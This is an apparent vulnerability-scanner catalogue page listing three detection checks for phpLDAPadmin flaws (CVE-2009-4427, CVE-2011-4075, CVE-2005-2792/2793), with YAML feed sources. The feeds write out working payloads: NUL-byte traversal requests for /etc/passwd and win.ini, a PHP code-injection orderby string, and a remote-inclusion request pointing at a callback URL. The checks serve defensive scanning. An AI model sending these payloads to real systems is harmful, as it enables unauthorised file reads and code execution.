phpLDAPadmin — 3 vulnerability checks
noctis ships 3 vulnerability checks for phpLDAPadmin, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpLDAPadmin cmd.php cmd Local File Inclusion
| CVE | CVE-2009-4427 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, script, tcp_connect, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/phpldapadmin/CVE-2009-4427.yaml |
Tests phpLDAPadmin 1.1.0.x for the directory traversal in cmd.php, which includes a local file of the attacker's choice without authentication when PHP is older than 5.3.4. The feed requests index.php (which runs cmd.php) with the cmd parameter set to a relative path to /etc/passwd followed by a NUL byte (%00), or to windows/win.ini and boot.ini on Windows, under the web root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin, /pla and /phpldapadmin/htdocs install paths. When index.php does not honour the parameter, the same requests go to cmd.php with the session cookies index.php handed out. The NUL byte cuts off the ".php" suffix the page appends, so a reply carrying the phpLDAPadmin page together with the content of the chosen file confirms the inclusion. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{pv.dir}}/index.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00 - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
passwd_r.bodyfor(?m)(?:^|>)root:[^:\r\n<>]*:0:([01]):([^:\r\n<>]*:[^:\r\n<>]*:[^:\r\n… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - HTTP(S) request
GET {{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd.win.ini.boo… - Checks
ctrl_r.bodyfor(?mi)((?:^|>)root:[^:\r\n<>]*:0:[01]:|; for 16-bit app support|\[font… - … and 2 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4427
- https://www.exploit-db.com/exploits/10410
- http://www.securityfocus.com/bid/37327
- https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-1.1.0.5/htdocs/cmd.php
Feed source — tests/vulnerabilities/phpldapadmin/CVE-2009-4427.yaml
# phpLDAPadmin cmd.php cmd directory traversal / local file inclusion —
# CVE-2009-4427
#
# phpLDAPadmin 1.1.0.x htdocs/cmd.php does
# $www['cmd'] = get_request('cmd','REQUEST');
# ...
# elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
# $file = HTDOCDIR.$www['cmd'].'.php';
# elseif (file_exists('welcome.php'))
# $file = 'welcome.php';
# ...
# if ($file) include $file;
# On PHP < 5.3.4 a NUL byte (%00) in cmd cuts the ".php" suffix off, so
# cmd=../../../../../../../../../etc/passwd%00 includes (and prints, inside the
# page body) any file the web server can read. lib/common.php strips the
# magic_quotes_gpc escaping back off $_REQUEST, so magic_quotes_gpc does not
# stop the NUL byte. 1.2.0 refuses commands that are not in its command list
# (isCommandAvailable('script', cmd) → redirect to index.php?redirect=true).
#
# Detection (benign, read-only):
# 1. GET <dir>/index.php?cmd=../../../../../../../../../etc/passwd%00 —
# index.php ends with include './cmd.php' and starts the session itself,
# so the inclusion works in one request without any cookie. Match root's
# passwd line in the reply (QoD 75), gated on the phpLDAPadmin page title
# in the same reply. On Windows installs: windows/win.ini, then boot.ini.
# 2. Defensive fallback (the source check's request shape): when index.php
# shows the phpLDAPadmin page but no file (e.g. a front proxy rewriting
# index.php requests), take the session cookies index.php sets (PLASESSID,
# plus any load-balancer cookie) and send the same requests to cmd.php
# with them (cmd.php redirects to index.php without a session). On a stock
# 1.1.0.x index.php always honours cmd, so step 1 already decides.
# 3. Control: the same request for an absent random file must come back
# without any file signature (fail-closed: no control reply, no finding).
# "%00" and "../" sit in the query string, which http_request sends verbatim.
#
# Improvements over the source NASL:
# - The single index.php request needs no prior session: hosts whose session
# cookie the source check cannot read are still tested; the source check's
# cmd.php + PLASESSID path is kept as a fallback.
# - The session request is read raw, so every Set-Cookie is kept (a cookie
# set after PLASESSID, e.g. by a load balancer, does not hide it).
# - The NASL only tries the location its product detection found; the feed
# also walks the usual install paths (/, /phpldapadmin, /phpLDAPadmin,
# /ldapadmin, /pla, /phpldapadmin/htdocs) on its own.
# - The finding requires the phpLDAPadmin page title in the same reply, so a
# generic file-serving responder is not reported as this CVE.
# - Absent-file control (blanket responders / honeypots keyed on
# "etc/passwd" are not reported).
# - root's password field is redacted before it reaches the finding.
#
# Ported from OpenVAS/Greenbone NVT 2009/phpldapadmin_37327.nasl
# (GPL-2.0-only). Vulnerable code checked in the upstream history
# (github.com/leenooks/phpLDAPadmin, tags RELEASE-1.1.0.5 to RELEASE-1.1.0.7
# vulnerable, RELEASE-1.2.0 fixed). Public exploit: exploit-db 10410.
uid: 714676ea-04e0-4715-9d1f-9c2b3a8ed975
name: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
description: |
Tests phpLDAPadmin 1.1.0.x for the directory traversal in cmd.php, which
includes a local file of the attacker's choice without authentication when
PHP is older than 5.3.4. The feed requests index.php (which runs cmd.php)
with the cmd parameter set to a relative path to /etc/passwd followed by a
NUL byte (%00), or to windows/win.ini and boot.ini on Windows, under the web
root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin, /pla and
/phpldapadmin/htdocs install paths. When index.php does not honour the parameter, the same requests go
to cmd.php with the session cookies index.php handed out. The NUL byte cuts
off the ".php" suffix the page appends, so a reply carrying the phpLDAPadmin
page together with the content of the chosen file confirms the inclusion. A
control request for an absent random file must not return any of these
files, so a server that serves the same content on every request is not
reported. Only world-readable system files are read; root's password field
is redacted from the evidence.
cves: [CVE-2009-4427]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpldapadmin, lfi, file-inclusion, path-traversal, file-read, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4427"
- "https://www.exploit-db.com/exploits/10410"
- "http://www.securityfocus.com/bid/37327"
- "https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-1.1.0.5/htdocs/cmd.php"
# OpenVAS/Greenbone NASL 2009/phpldapadmin_37327.nasl (GPL-2.0-only)
steps:
# Install dir of the last pass whose index.php answered with the
# phpLDAPadmin page ("@<dir>"), read by that dir's cmd.php pass.
- id: init-pla-seen
action: set_var
var_name: pla_seen
var_value: "none"
# ── Loop group: every following step runs once per "<entry>|<dir>" pass.
# The cmd pass of a dir runs only after its index pass showed the
# phpLDAPadmin page without a file. Each pass resets the values it reads,
# so nothing is left over from the previous pass.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: p
over:
- "index|"
- "cmd|"
- "index|/phpldapadmin"
- "cmd|/phpldapadmin"
- "index|/phpLDAPadmin"
- "cmd|/phpLDAPadmin"
- "index|/ldapadmin"
- "cmd|/ldapadmin"
- "index|/pla"
- "cmd|/pla"
- "index|/phpldapadmin/htdocs"
- "cmd|/phpldapadmin/htdocs"
- id: init-mint
action: set_var
var_name: mint
var_value: {connected: false, banner: ""}
- id: init-pla-page
action: set_var
var_name: pla_page
var_value: false
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: pass-split
action: script
code: |
let parts = split(p, "|");
let d = if parts.len() > 1 { parts[1] } else { "" };
#{ entry: parts[0], dir: d, fallback: parts[0] == "cmd" && pla_seen == "@" + d }
store_as: pv
# ── Session for the cmd.php fallback: read raw so every Set-Cookie is kept
- id: mint-session
action: tcp_connect
port: "{{port}}"
condition: "pv.fallback"
send: "GET {{pv.dir}}/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
store_as: mint
# index pass: a neutral cookie (index.php starts its own session).
# cmd pass: every cookie index.php set; runs only when PLASESSID is there.
- id: pass
action: script
code: |
let out = #{ run: false, entry: pv.entry, dir: pv.dir, cookie: "noctis=1" };
if pv.entry == "index" {
out.run = true;
} else if pv.fallback && type_of(mint.banner) == "string" {
let head = mint.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
let jar = #{};
for raw in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
jar[c[1]] = c[2];
}
if "PLASESSID" in jar {
let ck = "";
for k in jar.keys() {
if ck != "" { ck += "; "; }
ck += k + "=" + jar[k];
}
out.cookie = ck;
out.run = true;
}
}
out
store_as: pass
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: "{{pass.cookie}}"
condition: "pass.run"
store_as: passwd_r
# lib/page.php prints <title>phpLDAPadmin (<version>) - ...</title>.
- id: pla-page
action: script
code: |
pass.run && type_of(passwd_r.body) == "string" && ereg("<title>phpLDAPadmin\\b", passwd_r.body)
store_as: pla_page
- id: pla-seen
action: script
code: '"@" + pass.dir'
condition: 'pla_page && pass.entry == "index"'
store_as: pla_seen
# No on_match: the raw body (root's password field) must not become evidence.
# The page prints the file right after "<tr><td>".
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:([01]):([^:\\r\\n<>]*:[^:\\r\\n<>]*:[^:\\r\\n<>]*)\\r?$"
condition: "pla_page"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if pla_page && passwd_m.matched && passwd_m.captures.len() > 1 {
"root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
} else { "" }
condition: "pla_page"
store_as: lin_proof
# ── Windows: windows/win.ini, then boot.ini (older Windows) ──────────────
- id: read-winini
action: http_request
method: GET
path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: "{{pass.cookie}}"
condition: 'pla_page && lin_proof == ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'pla_page && lin_proof == ""'
on_match:
set_vars:
win_file: "windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: "{{pass.cookie}}"
condition: 'pla_page && lin_proof == "" && win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'pla_page && lin_proof == "" && win_file == ""'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent name still contains etc/passwd, win.ini and boot.ini, so a
# honeypot that keys a fake file on those substrings answers it too.
- id: control
action: http_request
method: GET
path: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Cookie: "{{pass.cookie}}"
condition: 'pla_page && (lin_proof != "" || win_file != "")'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)((?:^|>)root:[^:\\r\\n<>]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'pla_page && (lin_proof != "" || win_file != "")'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:[01]:"
condition: "pla_page && ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
description: "An unauthenticated request with cmd set to a relative path to /etc/passwd followed by %00 returned the phpLDAPadmin page with the content of /etc/passwd, while the same request for an absent file did not: cmd.php includes any file the web server can read."
remediation: "Upgrade phpLDAPadmin to 1.2.0 or later, and run PHP 5.3.4 or later, which rejects NUL bytes in file paths."
confidence_delta: 0.55
qod: 75
evidence: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^(windows/win\\.ini|boot\\.ini)$"
condition: "pla_page && ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "phpLDAPadmin cmd.php cmd Local File Inclusion (CVE-2009-4427)"
description: "An unauthenticated request with cmd set to a relative path to a Windows system file followed by %00 returned the phpLDAPadmin page with that file's content, while the same request for an absent file did not: cmd.php includes any file the web server can read."
remediation: "Upgrade phpLDAPadmin to 1.2.0 or later, and run PHP 5.3.4 or later, which rejects NUL bytes in file paths."
confidence_delta: 0.55
qod: 75
evidence: "{{pass.dir}}/{{pass.entry}}.php?cmd=../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: truephpLDAPadmin cmd.php query_engine orderby PHP code injection
| CVE | CVE-2011-4075 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpldapadmin/CVE-2011-4075.yaml |
Tests phpLDAPadmin 1.2.0 to 1.2.1.1 for the PHP code injection in masort(), reachable through the orderby parameter of the query_engine command. The feed opens index.php to obtain the PLASESSID session, then posts to cmd.php a search whose orderby value closes the generated sort function and prints the product of two random integers. A reply that contains the product, which the request does not contain, confirms that the injected PHP ran. The injected code only prints a number; nothing is written on the server. The web root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin and /pla install paths are tried. The sort is only reached when the search returns entries, so the installation must be able to query its LDAP server without logging in.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{d}}/index.php HTTP/1.0 - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{d}}/cmd.phpwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
vcalcfor^CODE_EXECUTED$→ finding QoD 97: phpLDAPadmin query_engine orderby parameter evaluates PHP code — CVE-2011-4075
References:
- https://nvd.nist.gov/vuln/detail/CVE-2011-4075
- https://www.securityfocus.com/bid/50331
- https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-1.2.1.1/lib/functions.php
Feed source — tests/vulnerabilities/phpldapadmin/CVE-2011-4075.yaml
# phpLDAPadmin 1.2.0 - 1.2.1.1 — masort() PHP code injection via the orderby
# parameter of cmd.php?cmd=query_engine (CVE-2011-4075, exploited in the wild
# in October 2011).
#
# lib/functions.php masort() builds the body of a create_function() sort
# callback and splices each comma-separated element of the sort key into it
# unquoted ("$a->$key"). The key comes straight from the "orderby" request
# parameter (QueryRender::getAttrSortOrder). A value such as
# foo));}}print 123*456;die;/*
# closes the callback and the injected PHP runs when create_function() compiles
# it. 1.2.2 only accepts keys matching /^[a-zA-Z0-9_]+(\([a-zA-Z0-9_,]*\))?$/.
# The sort only happens when the query returns entries, so the target needs an
# LDAP server reachable without login (the default anonymous configuration) —
# like the source check, the feed reports nothing on an installation whose
# search returns no entry.
#
# Detection (benign, no write): index.php hands out the PLASESSID session; the
# feed POSTs cmd=query_engine&query=none&search=1&orderby=foo));}}print A*B;die;/*
# with two random integers to cmd.php and looks for their product in the reply
# (the request only holds the factors, QoD 97). Nothing but a number is printed.
#
# Improvements over the source NASL (which sends phpinfo() and matches its
# title): the proof is a computed value, so a phpinfo-looking or cached page
# cannot raise it and phpinfo's disclosure of the server configuration is not
# triggered; the session is read raw, so every Set-Cookie is sent back (a cookie
# set after PLASESSID, e.g. by a load balancer, does not hide it); the feed also
# walks the usual install paths (/, /phpldapadmin, /phpLDAPadmin, /ldapadmin,
# /pla) instead of relying on prior product detection.
#
# Ported from OpenVAS/Greenbone NVT 2011/gb_phpldapadmin_50331.nasl
# (GPL-2.0-only). Source checked in github.com/leenooks/phpLDAPadmin (tags
# RELEASE-1.2.1.1 vulnerable, RELEASE-1.2.2 fixed).
uid: d324214c-69d6-41bf-9f82-34f0cde14fa1
name: "phpLDAPadmin cmd.php query_engine orderby PHP code injection (CVE-2011-4075)"
description: |
Tests phpLDAPadmin 1.2.0 to 1.2.1.1 for the PHP code injection in masort(),
reachable through the orderby parameter of the query_engine command. The
feed opens index.php to obtain the PLASESSID session, then posts to cmd.php
a search whose orderby value closes the generated sort function and prints
the product of two random integers. A reply that contains the product,
which the request does not contain, confirms that the injected PHP ran. The
injected code only prints a number; nothing is written on the server. The
web root and the usual /phpldapadmin, /phpLDAPadmin, /ldapadmin and /pla
install paths are tried. The sort is only reached when the search returns
entries, so the installation must be able to query its LDAP server without
logging in.
cves: [CVE-2011-4075]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [phpldapadmin, php, code-injection, create_function, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-4075"
- "https://www.securityfocus.com/bid/50331"
- "https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-1.2.1.1/lib/functions.php"
# OpenVAS/Greenbone NASL 2011/gb_phpldapadmin_50331.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(10007, 99991);
let b = rand_int(10007, 99991);
#{ a: "" + a, b: "" + b, prod: "" + (a * b) }
store_as: sc
# ── Loop group: every following step runs once per install dir ───────────
- id: init-mint
action: set_var
var_name: mint
var_value: {connected: false, banner: ""}
loop:
var: d
over: ["", "/phpldapadmin", "/phpLDAPadmin", "/ldapadmin", "/pla"]
- id: init-calc
action: set_var
var_name: calc
var_value: {status: 0, body: ""}
# Read raw so every Set-Cookie is kept.
- id: mint-session
action: tcp_connect
port: "{{port}}"
send: "GET {{d}}/index.php HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: mint
- id: session
action: script
code: |
let out = #{ run: false, cookie: "" };
if type_of(mint.banner) == "string" && ereg("<title>phpLDAPadmin\\b", mint.banner) {
let head = mint.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
let jar = #{};
for raw in split(head, "\n") {
let c = eregmatch("^set-cookie:[ \\t]*([A-Za-z0-9_.-]+)=([^;\\r]*)", raw, true);
if c.len() < 3 || c[2] == "" || c[2] == "deleted" { continue; }
jar[c[1]] = c[2];
}
if "PLASESSID" in jar {
let ck = "";
for k in jar.keys() {
if ck != "" { ck += "; "; }
ck += k + "=" + jar[k];
}
out.cookie = ck;
out.run = true;
}
}
out
store_as: session
- id: run-calc
action: http_request
method: POST
path: "{{d}}/cmd.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Cookie: "{{session.cookie}}"
Content-Type: "application/x-www-form-urlencoded"
body: "cmd=query_engine&query=none&search=1&orderby=foo));}}print%20{{sc.a}}*{{sc.b}};die;/*"
condition: "session.run"
store_as: calc
- id: verdict-calc
action: script
code: |
let v = "";
if session.run && type_of(calc.body) == "string" && ereg("(^|[^0-9])" + sc.prod + "([^0-9]|$)", calc.body) { v = "CODE_EXECUTED"; }
v
store_as: vcalc
- id: calc-confirmed
action: match
source: vcalc
pattern: '^CODE_EXECUTED$'
condition: "session.run"
on_match:
finding:
title: "phpLDAPadmin query_engine orderby parameter evaluates PHP code — CVE-2011-4075"
description: "POST {{d}}/cmd.php with cmd=query_engine and orderby=foo));}}print {{sc.a}}*{{sc.b}};die;/* made PHP run the injected code and the reply contained {{sc.prod}}, which the request does not contain. A remote user can run arbitrary PHP code with the rights of the web server."
remediation: "Upgrade phpLDAPadmin to 1.2.2 or later, which only accepts plain attribute names as the sort key."
confidence_delta: 0.65
qod: 97
evidence: "orderby=foo));}}print {{sc.a}}*{{sc.b}};die;/* returned {{sc.prod}}"
stop: truephpLDAPadmin welcome.php custom_welcome_page File Inclusion
| CVE | CVE-2005-2792, CVE-2005-2793 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, script, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/phpldapadmin/phpldapadmin-welcome-custom-page-inclusion.yaml |
Tests phpLDAPadmin 0.9.6 to 0.9.7-alpha5 for the file inclusion in welcome.php, reachable without authentication when PHP register_globals is enabled. The feed requests welcome.php with the custom_welcome_page parameter set to a relative path to /etc/passwd, under the web root and the usual /phpldapadmin, /phpLDAPadmin and /ldapadmin install paths. When the reply carries the phpLDAPadmin page head followed by the content of /etc/passwd, the page included the chosen file (directory traversal, CVE-2005-2792). A control request for an absent random file must not return any passwd line, so a server that serves the same content on every request is not reported. When out-of-band detection is enabled, the feed also points custom_welcome_page at the noctis callback URL: a callback from the target proves that it fetches and includes remote files (remote file inclusion, CVE-2005-2793). Only a world-readable system file is read, the callback reply holds no code, and root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
passwd_r.bodyfor(?m)(?:^|>)root:[^:\r\n<>]*:0:([01]):([^:\r\n<>]*:[^:\r\n<>]*:[^:\r\n… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd.noctis-abs… - Checks
ctrl_r.bodyfor(?m)(?:^|>)root:[^:\r\n<>]*:0:[01]: - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pla_dir}}/welcome.php?custom_welcome_page={{oob_url}} - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: phpLDAPadmin welcome.php custom_welcome_page Remote File Inclusion (CVE-2005-2793)
- Checks
lfi_prooffor^root:<redacted>:0:[01]:→ finding QoD 75: phpLDAPadmin welcome.php custom_welcome_page Directory Traversal (CVE-2005-2792)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2005-2792
- https://nvd.nist.gov/vuln/detail/CVE-2005-2793
- https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-0.9.6c/welcome.php
Feed source — tests/vulnerabilities/phpldapadmin/phpldapadmin-welcome-custom-page-inclusion.yaml
# phpLDAPadmin welcome.php custom_welcome_page file inclusion —
# CVE-2005-2792 (directory traversal / local file read) and
# CVE-2005-2793 (remote file inclusion)
#
# phpLDAPadmin 0.9.6 to 0.9.7-alpha5 welcome.php does
# include './common.php';
# include './header.php';
# if ( isset($custom_welcome_page) && $custom_welcome_page ) {
# include_once $custom_welcome_page;
# } else { ...welcome page... }
# $custom_welcome_page is never set by the script, so under PHP
# register_globals the request parameter of that name is passed to
# include_once(): a local path prints any file the web server can read
# (CVE-2005-2792), and an http:// URL makes PHP fetch and run remote code
# when allow_url_fopen is on (CVE-2005-2793). 0.9.7 removed the branch.
# header.php prints the XHTML head (<title>phpLDAPadmin</title>) BEFORE the
# include, so the included file follows the page head in the reply.
#
# Detection:
# 1. GET <dir>/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
# and match root's passwd line in the body (read-only, QoD 75), gated on
# the phpLDAPadmin page head in the same reply.
# 2. Control: the same request for an absent random file must come back
# without any passwd line (fail-closed: no control reply, no finding).
# 3. With OOB enabled, on a phpLDAPadmin page: custom_welcome_page=<OOB URL>
# and wait for the OOB HTTP callback — proves the remote inclusion
# (CVE-2005-2793, QoD 97). The OOB server's reply holds no PHP code, so
# nothing runs on the target.
#
# Improvements over the source NASL:
# - The NASL only tries the location its product detection found; the feed
# also walks the usual install paths (/, /phpldapadmin, /phpLDAPadmin,
# /ldapadmin) on its own.
# - The finding requires the phpLDAPadmin page head in the same reply, so a
# generic file-serving responder is not reported as this CVE.
# - Absent-file control (blanket responders / honeypots keyed on
# "etc/passwd" are not reported).
# - The passwd regex also accepts a line glued to the page head ("...>root:"),
# and root's password field is redacted before it reaches the finding.
# - The remote-inclusion half (CVE-2005-2793), which the NASL does not test,
# is proven with an OOB callback.
#
# Ported from OpenVAS/Greenbone NVT 2020/phpldapadmin/gb_phpldapadmin_mult_vuln_aug05.nasl
# (OID 1.3.6.1.4.1.25623.1.0.117012, GPL-2.0-only). Vulnerable code checked in
# the upstream history (github.com/leenooks/phpLDAPadmin, tags RELEASE-0.9.6c
# vulnerable, RELEASE-0.9.7 fixed).
uid: 8900d5aa-701e-4b07-9676-51d132307e3e
name: "phpLDAPadmin welcome.php custom_welcome_page File Inclusion (CVE-2005-2792, CVE-2005-2793)"
description: |
Tests phpLDAPadmin 0.9.6 to 0.9.7-alpha5 for the file inclusion in
welcome.php, reachable without authentication when PHP register_globals is
enabled. The feed requests welcome.php with the custom_welcome_page
parameter set to a relative path to /etc/passwd, under the web root and the
usual /phpldapadmin, /phpLDAPadmin and /ldapadmin install paths. When the
reply carries the phpLDAPadmin page head followed by the content of
/etc/passwd, the page included the chosen file (directory traversal,
CVE-2005-2792). A control request for an absent random file must not
return any passwd line, so a server that serves the same content on every
request is not reported. When out-of-band detection is enabled, the feed
also points custom_welcome_page at the noctis callback URL: a callback from
the target proves that it fetches and includes remote files (remote file
inclusion, CVE-2005-2793). Only a world-readable system file is read, the
callback reply holds no code, and root's password field is redacted from
the evidence.
cves: [CVE-2005-2792, CVE-2005-2793]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [phpldapadmin, lfi, rfi, file-inclusion, path-traversal, file-read, register-globals, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2005-2792"
- "https://nvd.nist.gov/vuln/detail/CVE-2005-2793"
- "https://github.com/leenooks/phpLDAPadmin/blob/RELEASE-0.9.6c/welcome.php"
# OpenVAS/Greenbone NASL 2020/phpldapadmin/gb_phpldapadmin_mult_vuln_aug05.nasl (GPL-2.0-only)
steps:
# ── Results kept across the install-dir loop ─────────────────────────────
- id: init-pla-found
action: set_var
var_name: pla_found
var_value: false
- id: init-pla-dir
action: set_var
var_name: pla_dir
var_value: ""
- id: init-lfi-proof
action: set_var
var_name: lfi_proof
var_value: ""
- id: init-rfi-sent
action: set_var
var_name: rfi_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install dir, until the first dir that answers with the phpLDAPadmin page.
# Each pass resets the values it reads, so nothing is left over from the
# previous dir.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phpldapadmin", "/phpLDAPadmin", "/ldapadmin"]
- id: init-pla-page
action: set_var
var_name: pla_page
var_value: false
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Local file read: /etc/passwd ─────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: "pla_found == false"
store_as: passwd_r
# header.php prints the page head before the include: product gate.
- id: pla-page
action: script
code: |
type_of(passwd_r.body) == "string" && passwd_r.body.contains("<title>phpLDAPadmin</title>")
store_as: pla_page
- id: pla-dir
action: script
code: "dir"
condition: "pla_page"
store_as: pla_dir
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)(?:^|>)root:[^:\\r\\n<>]*:0:([01]):([^:\\r\\n<>]*:[^:\\r\\n<>]*:[^:\\r\\n<>]*)\\r?$"
condition: "pla_page"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if pla_page && passwd_m.matched && passwd_m.captures.len() > 1 {
"root:<redacted>:0:" + passwd_m.captures[0] + ":" + passwd_m.captures[1]
} else { "" }
condition: "pla_page"
store_as: lin_proof
# ── Control: same parameter, absent random file — must NOT carry passwd ──
# The absent name still contains etc/passwd, so a honeypot that keys a fake
# file on that substring answers it too.
- id: control
action: http_request
method: GET
path: "{{dir}}/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd.noctis-absent-{{oob_token}}"
